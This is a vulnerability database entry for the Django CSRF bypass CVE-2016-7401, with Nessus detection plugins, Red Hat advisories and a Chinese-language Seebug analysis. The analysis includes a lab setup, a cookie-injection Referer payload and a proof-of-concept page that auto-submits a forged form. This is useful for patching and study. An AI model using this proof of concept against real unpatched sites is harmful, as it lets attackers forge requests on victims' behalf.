Vulnerabilities > CVE-2016-7401 - 7PK - Security Features vulnerability in multiple products

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
HIGH
Availability impact
NONE
network
low complexity
canonical
djangoproject
debian
CWE-254
nessus

Summary

The cookie parsing code in Django before 1.8.15 and 1.9.x before 1.9.10, when used on a site with Google Analytics, allows remote attackers to bypass an intended CSRF protection mechanism by setting arbitrary cookies.

Vulnerable Configurations

Part Description Count
OS
Canonical
3
OS
Debian
1
Application
Djangoproject
140

Common Weakness Enumeration (CWE)

Nessus

  • NASL familyDebian Local Security Checks
    NASL idDEBIAN_DSA-3678.NASL
    descriptionSergey Bobrov discovered that cookie parsing in Django and Google Analytics interacted such a way that an attacker could set arbitrary cookies. This allows other malicious websites to bypass the Cross-Site Request Forgery (CSRF) protections built into Django.
    last seen2020-06-01
    modified2020-06-02
    plugin id93723
    published2016-09-27
    reporterThis script is Copyright (C) 2016-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/93723
    titleDebian DSA-3678-1 : python-django - security update
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from Debian Security Advisory DSA-3678. The text 
    # itself is copyright (C) Software in the Public Interest, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(93723);
      script_version("2.7");
      script_cvs_date("Date: 2018/11/10 11:49:38");
    
      script_cve_id("CVE-2016-7401");
      script_xref(name:"DSA", value:"3678");
    
      script_name(english:"Debian DSA-3678-1 : python-django - security update");
      script_summary(english:"Checks dpkg output for the updated package");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote Debian host is missing a security-related update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "Sergey Bobrov discovered that cookie parsing in Django and Google
    Analytics interacted such a way that an attacker could set arbitrary
    cookies. This allows other malicious websites to bypass the Cross-Site
    Request Forgery (CSRF) protections built into Django."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://packages.debian.org/source/jessie/python-django"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://www.debian.org/security/2016/dsa-3678"
      );
      script_set_attribute(
        attribute:"solution", 
        value:
    "Upgrade the python-django packages.
    
    For the stable distribution (jessie), this problem has been fixed in
    version 1.7.11-1+deb8u1."
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N");
      script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"false");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:python-django");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:8.0");
    
      script_set_attribute(attribute:"patch_publication_date", value:"2016/09/26");
      script_set_attribute(attribute:"plugin_publication_date", value:"2016/09/27");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2016-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"Debian Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("debian_package.inc");
    
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
    if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    flag = 0;
    if (deb_check(release:"8.0", prefix:"python-django", reference:"1.7.11-1+deb8u1")) flag++;
    if (deb_check(release:"8.0", prefix:"python-django-common", reference:"1.7.11-1+deb8u1")) flag++;
    if (deb_check(release:"8.0", prefix:"python-django-doc", reference:"1.7.11-1+deb8u1")) flag++;
    if (deb_check(release:"8.0", prefix:"python3-django", reference:"1.7.11-1+deb8u1")) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_warning(port:0, extra:deb_report_get());
      else security_warning(0);
      exit(0);
    }
    else audit(AUDIT_HOST_NOT, "affected");
    
  • NASL familyFedora Local Security Checks
    NASL idFEDORA_2016-3795497354.NASL
    descriptionSecurity fix for CVE-2016-7401 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-06-05
    modified2016-10-12
    plugin id93974
    published2016-10-12
    reporterThis script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/93974
    titleFedora 23 : python-django (2016-3795497354)
    code
    #%NASL_MIN_LEVEL 80502
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from Fedora Security Advisory FEDORA-2016-3795497354.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(93974);
      script_version("2.4");
      script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/04");
    
      script_cve_id("CVE-2016-7401");
      script_xref(name:"FEDORA", value:"2016-3795497354");
    
      script_name(english:"Fedora 23 : python-django (2016-3795497354)");
      script_summary(english:"Checks rpm output for the updated package.");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote Fedora host is missing a security update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "Security fix for CVE-2016-7401
    
    Note that Tenable Network Security has extracted the preceding
    description block directly from the Fedora update system website.
    Tenable has attempted to automatically clean and format it as much as
    possible without introducing additional issues."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://bodhi.fedoraproject.org/updates/FEDORA-2016-3795497354"
      );
      script_set_attribute(
        attribute:"solution", 
        value:"Update the affected python-django package."
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:fedoraproject:fedora:python-django");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:fedoraproject:fedora:23");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2016/10/03");
      script_set_attribute(attribute:"patch_publication_date", value:"2016/10/10");
      script_set_attribute(attribute:"plugin_publication_date", value:"2016/10/12");
      script_set_attribute(attribute:"generated_plugin", value:"current");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"Fedora Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/RedHat/release", "Host/RedHat/rpm-list");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("global_settings.inc");
    include("rpm.inc");
    
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    release = get_kb_item("Host/RedHat/release");
    if (isnull(release) || "Fedora" >!< release) audit(AUDIT_OS_NOT, "Fedora");
    os_ver = pregmatch(pattern: "Fedora.*release ([0-9]+)", string:release);
    if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Fedora");
    os_ver = os_ver[1];
    if (! preg(pattern:"^23([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "Fedora 23", "Fedora " + os_ver);
    
    if (!get_kb_item("Host/RedHat/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    cpu = get_kb_item("Host/cpu");
    if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
    if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Fedora", cpu);
    
    
    flag = 0;
    if (rpm_check(release:"FC23", reference:"python-django-1.8.15-1.fc23")) flag++;
    
    
    if (flag)
    {
      security_report_v4(
        port       : 0,
        severity   : SECURITY_WARNING,
        extra      : rpm_report_get()
      );
      exit(0);
    }
    else
    {
      tested = pkg_tests_get();
      if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
      else audit(AUDIT_PACKAGE_NOT_INSTALLED, "python-django");
    }
    
  • NASL familyFreeBSD Local Security Checks
    NASL idFREEBSD_PKG_BB02264384FB11E6A4A160A44CE6887B.NASL
    descriptionDjango Software Foundation reports : An interaction between Google Analytics and Django
    last seen2020-06-01
    modified2020-06-02
    plugin id93755
    published2016-09-28
    reporterThis script is Copyright (C) 2016-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/93755
    titleFreeBSD : django -- CSRF protection bypass on a site with Google Analytics (bb022643-84fb-11e6-a4a1-60a44ce6887b)
  • NASL familyUbuntu Local Security Checks
    NASL idUBUNTU_USN-3089-1.NASL
    descriptionSergey Bobrov discovered that Django incorrectly parsed cookies when being used with Google Analytics. A remote attacker could possibly use this issue to set arbitrary cookies leading to a CSRF protection bypass. Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-06-01
    modified2020-06-02
    plugin id93774
    published2016-09-28
    reporterUbuntu Security Notice (C) 2016-2019 Canonical, Inc. / NASL script (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/93774
    titleUbuntu 12.04 LTS / 14.04 LTS / 16.04 LTS : python-django vulnerability (USN-3089-1)
  • NASL familyFedora Local Security Checks
    NASL idFEDORA_2016-704E85CAC2.NASL
    descriptionSecurity fix for CVE-2016-7401 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-06-05
    modified2016-11-15
    plugin id94815
    published2016-11-15
    reporterThis script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/94815
    titleFedora 25 : python-django (2016-704e85cac2)
  • NASL familyFedora Local Security Checks
    NASL idFEDORA_2016-5706EEB875.NASL
    descriptionSecurity fix for CVE-2016-7401 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
    last seen2020-06-05
    modified2016-10-12
    plugin id93975
    published2016-10-12
    reporterThis script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/93975
    titleFedora 24 : python-django (2016-5706eeb875)
  • NASL familySuSE Local Security Checks
    NASL idOPENSUSE-2018-318.NASL
    descriptionThis update for python3-Django to version 1.18.18 fixes multiple issues. Security issues fixed : - CVE-2018-7537: Fixed catastrophic backtracking in django.utils.text.Truncator. (bsc#1083305) - CVE-2018-7536: Fixed catastrophic backtracking in urlize and urlizetrunc template filters (bsc#1083304). - CVE-2016-7401: CSRF protection bypass on a site with Google Analytics (bsc#1001374). - CVE-2016-2513: User enumeration through timing difference on password hasher work factor upgrade (bsc#968000). - CVE-2016-2512: Fixed malicious redirect and possible XSS attack via user-supplied redirect URLs containing basic auth (bsc#967999). - CVE-2016-9013: User with hardcoded password created when running tests on Oracle (bsc#1008050). - CVE-2016-9014: DNS rebinding vulnerability when DEBUG=True (bsc#1008047). - CVE-2017-7234: Open redirect vulnerability in django.views.static.serve() (bsc#1031451). - CVE-2017-7233: Open redirect and possible XSS attack via user-supplied numeric redirect URLs (bsc#1031450). - CVE-2017-12794: Fixed XSS possibility in traceback section of technical 500 debug page (bsc#1056284)
    last seen2020-06-05
    modified2018-03-27
    plugin id108641
    published2018-03-27
    reporterThis script is Copyright (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/108641
    titleopenSUSE Security Update : python3-Django (openSUSE-2018-318)
  • NASL familySuSE Local Security Checks
    NASL idOPENSUSE-2018-317.NASL
    descriptionThis update for python-Django to version 1.18.18 fixes multiple issues. Security issues fixed : - CVE-2018-7537: Fixed catastrophic backtracking in django.utils.text.Truncator. (bsc#1083305) - CVE-2018-7536: Fixed catastrophic backtracking in urlize and urlizetrunc template filters (bsc#1083304). - CVE-2016-7401: CSRF protection bypass on a site with Google Analytics (bsc#1001374). - CVE-2016-2513: User enumeration through timing difference on password hasher work factor upgrade (bsc#968000). - CVE-2016-2512: Fixed malicious redirect and possible XSS attack via user-supplied redirect URLs containing basic auth (bsc#967999). - CVE-2016-9013: User with hardcoded password created when running tests on Oracle (bsc#1008050). - CVE-2016-9014: DNS rebinding vulnerability when DEBUG=True (bsc#1008047). - CVE-2017-7234: Open redirect vulnerability in django.views.static.serve() (bsc#1031451). - CVE-2017-7233: Open redirect and possible XSS attack via user-supplied numeric redirect URLs (bsc#1031450). - CVE-2017-12794: Fixed XSS possibility in traceback section of technical 500 debug page (bsc#1056284)
    last seen2020-06-05
    modified2018-03-27
    plugin id108640
    published2018-03-27
    reporterThis script is Copyright (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/108640
    titleopenSUSE Security Update : python-Django (openSUSE-2018-317)

Redhat

advisories
  • rhsa
    idRHSA-2016:2038
  • rhsa
    idRHSA-2016:2039
  • rhsa
    idRHSA-2016:2040
  • rhsa
    idRHSA-2016:2041
  • rhsa
    idRHSA-2016:2042
  • rhsa
    idRHSA-2016:2043
rpms
  • python-django-0:1.6.11-6.el6ost
  • python-django-bash-completion-0:1.6.11-6.el6ost
  • python-django-doc-0:1.6.11-6.el6ost
  • python-django-0:1.6.11-6.el7ost
  • python-django-bash-completion-0:1.6.11-6.el7ost
  • python-django-doc-0:1.6.11-6.el7ost
  • python-django-0:1.6.11-6.el7ost
  • python-django-bash-completion-0:1.6.11-6.el7ost
  • python-django-doc-0:1.6.11-6.el7ost
  • python-django-0:1.8.15-1.el7ost
  • python-django-bash-completion-0:1.8.15-1.el7ost
  • python-django-doc-0:1.8.15-1.el7ost
  • python-django-0:1.8.15-1.el7ost
  • python-django-bash-completion-0:1.8.15-1.el7ost
  • python-django-0:1.8.15-1.el7ost
  • python-django-bash-completion-0:1.8.15-1.el7ost

Seebug

bulletinFamilyexploit
description**Author: p0wd3r (知道创宇404安全实验室)** **Date: 2016-09-28** ## 0x00 漏洞概述 ### 1.漏洞简介 [Django](https://www.djangoproject.com)是一个由Python写成的开源Web应用框架。在两年前有研究人员在hackerone上提交了一个利用Google Analytics来绕过Django的CSRF防护机制的漏洞([CSRF protection bypass on any Django powered site via Google Analytics](https://hackerone.com/reports/26647)),通过该漏洞,当一个网站使用了Django作为Web框架并且设置了Django的CSRF防护机制,同时又使用了Google Analytics的时候,攻击者可以构造请求来对CSRF防护机制进行绕过。 ### 2.漏洞影响 网站满足以下三个条件的情况下攻击者可以绕过Django的CSRF防护机制: - 使用Google Analytics来做数据统计 - 使用Django作为Web框架 - 使用基于Cookie的CSRF防护机制(Cookie中的某个值和请求中的某个值必须相等) ### 3.影响版本 Django 1.9.x < 1.9.10 Django 1.8.x < 1.8.15 Python2 < 2.7.9 Python3 < 3.2.7 ## 0x01 漏洞复现 ### 1. 环境搭建 ```bash 1. pip install django==1.9.9 2. django-admin startproject project 3. cd project 4. python manage.py startapp app 5. cd app 6. 将 'app' 添加到 project/project/settings.py 中的 INSTALLDE_APPS 列表中 7. 更改或添加下列文件: ``` `project/app/views.py`: ```python from django.shortcuts import render from django.http import HttpResponse # Create your views here. def check(req): if req.method == 'POST': return HttpResponse('CSRF check successfully!') else: return render(req, 'check.html') def ga(req): return render(req, 'ga.html') ``` `project/project/urls.py`: ```python from django.conf.urls import url from django.contrib import admin from app.views import check, ga urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^check/', check, name='check'), url(r'^ga/', ga, name='ga'), ] ``` `project/app/templates/check.html`: ```html <form action="/check/" method="POST"> {% csrf_token %} <input type="submit" value="Check"></input> </form> ``` `project/app/templates/ga.html`(放置Goolge Analytics脚本的页面): ```javascript <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-XXXXX-X']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> ``` 最后运行开启Django内置server: ```bash # project/ python manage.py runserver ``` ### 2.漏洞分析 我们先来看这样一个场景: ![Alt text](https://images.seebug.org/content/images/2016/09/python276-bug.png) 当python内置的`Cookie.SimpleCookie()`解析`a=hello]b=world`这种形式的字符串时会以`]`作为分隔,最后取得`a=hello`和`b=world`这两个cookie,那么为什么会这样呢? 我们看一下源码,Ubuntu下`/usr/lib/python2.7/Cookie.py`第622-663行: ```python def load(self, rawdata): """Load cookies from a string (presumably HTTP_COOKIE) or from a dictionary. Loading cookies from a dictionary 'd' is equivalent to calling: map(Cookie.__setitem__, d.keys(), d.values()) """ if type(rawdata) == type(""): self.__ParseString(rawdata) else: # self.update() wouldn't call our custom __setitem__ for k, v in rawdata.items(): self[k] = v return # end load() def __ParseString(self, str, patt=_CookiePattern): i = 0 # Our starting point n = len(str) # Length of string M = None # current morsel while 0 <= i < n: # Start looking for a cookie match = patt.search(str, i) if not match: break # No more cookies K,V = match.group("key"), match.group("val") i = match.end(0) ... ``` 当传入`load`一个字符串时,调用`__ParseString`,在`__ParseString`中有这样一句:`match = patt.search(str, i)`,根据之前定义的pattern来查找字符串中符合pattern的cookie,`_CookiePattern`在529-545行: ```python _LegalCharsPatt = r"[\w\d!#%&'~_`><@,:/\$\*\+\-\.\^\|\)\(\?\}\{\=]" _CookiePattern = re.compile( r"(?x)" # This is a Verbose pattern r"(?P<key>" # Start of group 'key' ""+ _LegalCharsPatt +"+?" # Any word of at least one letter, nongreedy r")" # End of group 'key' r"\s*=\s*" # Equal Sign r"(?P<val>" # Start of group 'val' r'"(?:[^\\"]|\\.)*"' # Any doublequoted string r"|" # or r"\w{3},\s[\s\w\d-]{9,11}\s[\d:]{8}\sGMT" # Special case for "expires" attr r"|" # or ""+ _LegalCharsPatt +"*" # Any word or empty string r")" # End of group 'val' r"\s*;?" # Probably ending in a semi-colon ) ``` 在这里我们看到`]`并没有在`_LegalCharsPatt`中,由于代码中使用的是`search`函数,所以在匹配`a=hello`后碰到`]`会跳过这个字符然后再匹配`b=world`。因此正是因为使用`search`函数来匹配,所以当`a=hello`后面是任意一个不在`_LegalCharsPatt`中的字符(例如`[`、`\`、`]`、`\x09`、`\x0b`、`\x0c`)都会达到同样的效果: ```python c.load('a=helloXb=world') # X为上述字符 SetCookie: a='hello' b='world' ``` 这个漏洞也正是整个Bypass的核心所在。 我们再来看Django(1.9.9)中对cookie的解析,在`http/cookie.py`中第91-106行: ```python def parse_cookie(cookie): if cookie == '': return {} if not isinstance(cookie, http_cookies.BaseCookie): try: c = SimpleCookie() c.load(cookie) except http_cookies.CookieError: # Invalid cookie return {} else: c = cookie cookiedict = {} for key in c.keys(): cookiedict[key] = c.get(key).value return cookiedict ``` 根据动态调试发现这里的`SimpleCookie`也就是我们上面所说的存在漏洞的对象,从而可以确定Django中对cookie的处理也是存在漏洞的。 我们再来看看Django的CSRF防护机制,默认CSRF防护中间件是开启的,我们访问`http://127.0.0.1:8000/check/`,点击Check然后抓包: ![Alt text](https://images.seebug.org/content/images/2016/09/200.png) 可以看到`csrftoken`和`csrfmiddlewaretoken`的值是相同的,其中`csrfmiddlewaretoken`的值如图: ![Alt text](https://images.seebug.org/content/images/2016/09/csrf-form.png) 也就是Django对`check.html`中的`{% csrf_token %}`所赋的值。 我们再改下包,使`csrftoken`和`csrfmiddlewaretoken`不相等,这回服务器就会返回403: ![Alt text](https://images.seebug.org/content/images/2016/09/403.png) 我们再把两个值都改成另外一个值看看: ![Alt text](https://images.seebug.org/content/images/2016/09/200-1.png) 依然成功。 所以Django对于CSRF的防护就是判断cookie中的`csrftoken`和提交的`csrfmiddlewaretoken`的值是否相等。 那么如果想Bypass这个防护机制,就是要想办法设置受害者的cookie中的`csrftoken`值为攻击者构造的`csrdmiddlewaretoken`的值。 如何设置受害者cookie呢?Google Analytics帮了我们这个忙,它为了追踪用户,会在用户浏览时添加如下cookie: ``` __utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH] ``` 其中`[HOST]`和`[PATH]`是由Referer确定的,也就是说当`Referer: http://x.com/helloworld`时,cookie如下: ``` __utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=helloworld ``` 由于Referer是我们可以控制的,所以也就有了设置受害者cookie的可能,但是如何设置`csrftoken`的值呢? 这就用到了我们上面说的Django处理cookie的漏洞,当我们设置Referer为`http://x.com/hello]csrftoken=world`,GA设置的cookie如下: ``` __utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=hello]csrftoken=world ``` 当Django解析cookie时就会触发上面说的漏洞,将cookie中`csrftoken`的值赋为`world`。 实际操作一下,为了方便路由我们在另一个IP上再开一个DjangoApp作为中转,其中各文件如下: `urls.py`: ```python from django.conf.urls import url from django.contrib import admin from app.views import route urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^hello', route) ] ``` `views.py`: ```python from django.shortcuts import render from django.http import HttpResponse # Create your views here. def route(req): return render(req, 'route.html') ``` `route.html`: ```javascript <script> window.location = 'http://127.0.0.1:8000/ga/'; </script> ``` 开启中转App:`python manage.py runserver xxx` 构造一个攻击页面: ```html <form id="csrf" action="http://127.0.0.1:8000/check/" method="POST"> <input type="hidden" name="csrfmiddlewaretoken" value="boom"> </form> <script type="text/javascript" charset="utf-8"> function sleep (time) { return new Promise((resolve) => setTimeout(resolve, time)); } function poc() { window.open('http://redirect-server/hello]csrftoken=boom'); sleep(1000).then(() => { document.getElementById('csrf').submit(); }); } </script> <a href='#' onclick=poc()> Click me </a> ``` 当我们点击`Click me`,会先打开一个窗口,再回到原窗口,就可以看到保护机制已经绕过: ![Alt text](https://images.seebug.org/content/images/2016/09/success.png) 再访问一下`http://127.0.0.1:8000/check/`,可以看到此时cookie中的`csrftoken`和form中的`csrfmiddlewaretoken`都已被设置成`boom`,证明漏洞成功触发: ![Alt text](https://images.seebug.org/content/images/2016/09/cookie-boom.png) ![Alt text](https://images.seebug.org/content/images/2016/09/form-boom.png) 攻击流程如下: ![Alt text](https://images.seebug.org/content/images/2016/09/bypass-flow.png) ### 3.补丁分析 **Python** 可以看到这个漏洞在根本上是原生Python的漏洞,首先看最早在2.7.9中的patch: ![Alt text](https://images.seebug.org/content/images/2016/09/patch279.png) 将`search`改成了`match`函数,所以再遇到非法符号匹配会停止。 再看该文件在2.7.10中的patch: ![Alt text](https://images.seebug.org/content/images/2016/09/patch2710.png) 这里将`[\]`设置为了合法的value中的字符,也就是 ```python >>> C.load('__utmz=blah]csrftoken=x') >>> C <SimpleCookie: __utmz='blah]csrftoken=x'> ``` 同样Python3在3.2.7和3.3.6中也做了相应patch: ![Alt text](https://images.seebug.org/content/images/2016/09/patch336.png) ![Alt text](https://images.seebug.org/content/images/2016/09/patch327.png) 不过尽管上面对`[\]`做了限制,但是由于pattern最后`\s*`的存在,所以在以下情况下仍然存在漏洞: ```python >>> import Cookie >>> C = Cookie.SimpleCookie() >>> C.load('__utmz=blah csrftoken=x') >>> C.load('__utmz=blah\x09csrftoken=x') >>> C.load('__utmz=blah\x0bcsrftoken=x') >>> C.load('__utmz=blah\x0ccsrftoken=x') >>> C <SimpleCookie: __utmz='blah' csrftoken='x'> ``` 这些情况在最新的Python中并没有被修复,不过在实际情况中由于浏览器和脚本的原因,这些字符不一定会保存原样发送给Python处理,所以在利用上还要根据场景来分析。 **Django** Django在1.9.10和1.8.15中做了相同的patch: ![Alt text](https://images.seebug.org/content/images/2016/09/django1910.png) 它放弃了使用Python内置库来处理cookie,而是自己根据`;`分割再取值,使特殊符号不再起作用。 ## 0x02 修复方案 升级Python 升级Django ## 0x03 参考 * http://paper.seebug.org/58/ * [https://hackerone.com/reports/26647](https://hackerone.com/reports/26647) * [https://github.com/django/django/commit/d1bc980db1c0fffd6d60677e62f70beadb9fe64a](https://github.com/django/django/commit/d1bc980db1c0fffd6d60677e62f70beadb9fe64a) * [https://developers.google.com/analytics/devguides/collection/analyticsjs/cookie-usage](https://developers.google.com/analytics/devguides/collection/analyticsjs/cookie-usage)
idSSV:92447
last seen2017-11-19
modified2016-09-29
published2016-09-29
reporterRoot
titleDjango CSRF Bypass (CVE-2016-7401)